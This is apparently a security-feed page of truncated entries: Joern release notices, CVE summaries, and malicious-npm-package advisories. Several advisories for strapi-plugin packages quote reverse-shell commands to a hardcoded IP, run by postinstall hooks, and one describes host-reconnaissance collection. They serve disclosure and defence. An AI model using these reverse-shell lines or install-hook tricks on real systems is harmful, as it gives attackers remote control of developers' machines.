Joern 4.0.635

Joern is the bug hunter's workbench. With this tool, you can uncover attack surface, sloppy coding practices, and variants of known vulnerabilities using an interactive code analysis shell. Joern supports C, C++, LLVM bitcode, x86 binaries via Ghidra, JVM bytecode via Soot, and Javascript...

CVE-2026-91921

CVE-2026-91921 is a Cross-Site Scripting (XSS) vulnerability in the client-side rendering engine of the 1millionbot AI Chat Platform , caused by inadequate input sanitisation. An unauthenticated remote user can trigger the issue by sending messages containing Markdown syntax and certain unsanitis...

Malicious code in catwrestlingbird (npm)

Source: amazon-inspector 80958afe2056e1a124791c9465abdb0fff080a33005cc332dd5c1869ab2ee4c0 [email protected] declares a postinstall script node install.js that automatically runs on npm install. install.js collects installer host reconnaissance — hostname, username, platform/arch/OS release,...

Joern 4.0.631

Joern is the bug hunter's workbench. With this tool, you can uncover attack surface, sloppy coding practices, and variants of known vulnerabilities using an interactive code analysis shell. Joern supports C, C++, LLVM bitcode, x86 binaries via Ghidra, JVM bytecode via Soot, and Javascript...

CVE-2026-13379

A flaw was found in the Windows interactive service of OpenVPN. A remote attacker can exploit this vulnerability by sending a specially crafted search domain during the disconnection process. This can lead to persistent DNS Domain Name System state pollution, which may disrupt network services, o...

Malicious code in la-interactive-readerui (npm)

The package la-interactive-readerui was found to contain malicious code. --- Credit: OpenSSF source...

Joern 4.0.630

Joern is the bug hunter's workbench. With this tool, you can uncover attack surface, sloppy coding practices, and variants of known vulnerabilities using an interactive code analysis shell. Joern supports C, C++, LLVM bitcode, x86 binaries via Ghidra, JVM bytecode via Soot, and Javascript...

Malicious code in strapi-plugin-feedmeeb (npm)

Source: amazon-inspector 7ecf1e41fb24d24ffe7b55319dda947ae30bfabb9266e38c17e1231cf4492ec5 [email protected] ships a package.json postinstall hook that executes postinstall.js on npm install. The script constructs a bash reverse shell of the form bash -i & /dev/tcp/14.225.210.85/80 0&1...

Malicious code in strapi-plugin-perev-meeb (npm)

Source: amazon-inspector 29840a9eddc4894177d910b38ef1808c0ba7a402c267160fe8e86cff48873700 The npm postinstall hook executes postinstall.js, which uses childprocess to spawn a Python reverse shell that connects to the hardcoded remote host 14.225.210.85:80 and dup2's a PTY-backed /bin/sh over the...

CVE-2026-84088

The Xpro Addons — 140+ Widgets for Elementor WordPress plugin, versions before 1.7.9 , is vulnerable to Stored Cross-Site Scripting (XSS) . The root cause is the failure to validate or sanitize a widget link setting before it is stored and subsequently used in a JavaScript navigation call . This ...

CVE-2026-84088 Xpro Elementor Addons < 1.7.9 - Contributor+ Stored XSS via Interactive Circle Widget

The Xpro Addons — 140+ Widgets for Elementor WordPress plugin before 1.7.9 does not validate or sanitize a widget link setting before storing and using it in a JavaScript navigation call, allowing users with the contributor role and above to inject and store JavaScript that executes in the browse...

CVE-2026-84088 Xpro Elementor Addons < 1.7.9 - Contributor+ Stored XSS via Interactive Circle Widget

The Xpro Addons — 140+ Widgets for Elementor WordPress plugin before 1.7.9 does not validate or sanitize a widget link setting before storing and using it in a JavaScript navigation call, allowing users with the contributor role and above to inject and store JavaScript that executes in the browse...

CVE-2026-92801: Incorrect Authorization

cc-connect through 1.5.0 fails to enforce per-user allowlist filtering in the onCardAction handler for Feishu interactive card callbacks. Attackers can dispatch agent commands by triggering card actions in admitted chats, bypassing the per-user access controls that protect the text message handle...

PT-2026-94075

Name of the Vulnerable Software and Affected Versions cc-connect versions prior to 1.5.1 Description The software fails to enforce per-user allowlist filtering within the onCardAction handler used for Feishu interactive card callbacks. This flaw allows attackers to dispatch agent commands by...

Malicious code in strapi-plugin-yayccresh-meeb (npm)

Source: amazon-inspector de07e63ac0a0d5b02ad74abd90d075d73e80cdfcc1bbfbdfcfbe56460354735a The package's postinstall lifecycle script node postinstall.js executes a bash reverse shell that connects to the hardcoded remote endpoint 14.225.210.85:443 and redirects an interactive bash session's stdio...

Malicious code in strapi-plugin-ccresh-meeb (npm)

Source: amazon-inspector 5c91c798c5a3429b252f74193e2a84c6406347ced8fa9010bdd7d338af5c8797 The package's postinstall lifecycle script scripts.postinstall: node postinstall.js unconditionally invokes /bin/bash with an interactive reverse-shell payload at install time: bash -c 'bash -i...

Malicious code in strapi-plugin-revsh-meeb322k (npm)

Source: amazon-inspector d6d4e28da86ccc1cb11bae22a247171657c958b6bf24b8bf4541bb08970c969b package.json declares scripts.postinstall = "node postinstall.js", causing postinstall.js to run automatically on npm install. That file executes bash -c 'bash -i /dev/tcp/14.225.210.85/443 0&1', opening an...

MAL-2026-16186 Malicious code in strapi-plugin-revs02-meeb322k (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 5b50be7098a50f4a7fc673fdffe7a06ab9ce182fdca04a8ee9cd448f66c9a6b1 The package declares scripts.postinstall pointing at postinstall.js, whose top-level code executes bash -c 'bash -i /dev/tcp/14.225.210.85/443 0&1',...

Joern 4.0.628

Joern is the bug hunter's workbench. With this tool, you can uncover attack surface, sloppy coding practices, and variants of known vulnerabilities using an interactive code analysis shell. Joern supports C, C++, LLVM bitcode, x86 binaries via Ghidra, JVM bytecode via Soot, and Javascript...

CVE-2026-90955

Affected versions of MISP’s interactive CLI shell do not reliably preserve the identity of the impersonated MISP user across audit logging. The shell is designed to run actions as a supplied MISP user ID. However, the legacy SysLogLogable behavior stored that identity in behavior-instance state...